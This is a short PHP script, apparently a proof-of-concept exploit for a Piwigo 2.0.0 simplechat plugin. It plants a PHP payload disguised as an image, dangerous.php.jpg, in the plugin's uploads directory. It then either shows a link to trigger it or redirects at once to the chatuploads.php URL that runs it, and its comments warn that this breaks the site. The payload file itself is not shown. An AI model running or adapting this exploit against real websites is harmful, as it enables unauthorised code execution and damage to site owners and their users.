<?php
// If wanted, change the PHP code of dangerous.php.jpg first. This script will automatically replace the "image" with the new one if it already exists.
if(file_exists("../piwigo-2.0.0/simplechat/chattxt/uploads/dangerous.php.jpg"))
	unlink("../piwigo-2.0.0/simplechat/chattxt/uploads/dangerous.php.jpg");
// Copy the dangerous image to /simplechat/chattxt/uploads for the purpose of this automated attack
copy("dangerous.php.jpg", "../piwigo-2.0.0/simplechat/chattxt/uploads/dangerous.php.jpg");
if(isset($_GET['debug']) && $_GET['debug'] === "true")
{
	echo "<p>Malicious image copied. Click the link below to execute the exploit.</p>",
	     "<p style='color:red'><strong>WARNING:</strong> Executing this exploit will render the site broken. Please backup the whole public_html folder first to somewhere safe before executing the exploit.<br />If this behavior is not wanted, just comment the fourth line of dangerous.php.jpg.</p>";
	// Output the link to be clicked for testing
	echo "<p><a href='https://www.piwigo.com/piwigo-2.0.0/simplechat/chatuploads.php?id=dangerous.php.jpg'>https://www.piwigo.com/piwigo-2.0.0/simplechat/chatuploads.php?id=dangerous.php.jpg</a></p>";
}
else
{
	// Immediately execute the exploit.
	header("Location: https://www.piwigo.com/piwigo-2.0.0/simplechat/chatuploads.php?id=dangerous.php.jpg");
}
?>
